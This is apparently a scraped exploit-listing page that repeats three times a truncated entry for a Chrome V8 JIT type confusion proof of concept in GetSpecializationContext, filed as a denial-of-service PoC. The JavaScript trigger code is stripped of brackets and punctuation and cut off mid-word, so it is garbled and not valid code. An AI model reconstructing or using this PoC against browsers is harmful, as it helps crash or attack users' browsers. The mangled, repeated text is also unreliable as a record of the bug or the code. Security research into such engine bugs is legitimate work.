Chrome V8 JIT GetSpecializationContext Type Confusion Exploit

Exploit for multiple platform in category dos / poc Chrome: V8: JIT: Type confusion in GetSpecializationContext PoC: function optarg = = arg let tmp = opt.x; // LdaNamedProperty for ;; arg; yield; function inner tmp; break; for let i = 0; i arg; this; , opt let tmp = arg.x; for ;; arg; yield; tmp...

Chrome V8 JIT - GetSpecializationContext Type Confusion

Chrome V8 JIT - GetSpecializationContext Type Confusion PoC: function optarg = = arg let tmp = opt.x; // LdaNamedProperty for ;; arg; yield; function inner tmp; break; for let i = 0; i arg; this; , opt let tmp = arg.x; for ;; arg; yield; tmp = inner tmp; ; for let i = 0; i 10000; i++ opt; What...

Chrome V8 JIT GetSpecializationContext Type Confusion

Chrome: V8: JIT: Type confusion in GetSpecializationContext PoC: function optarg = = arg let tmp = opt.x; // LdaNamedProperty for ;; arg; yield; function inner tmp; break; for let i = 0; i arg; this; , opt let tmp = arg.x; for ;; arg; yield; tmp = inner tmp; ; for let i = 0; i 10000; i++ opt; Wha...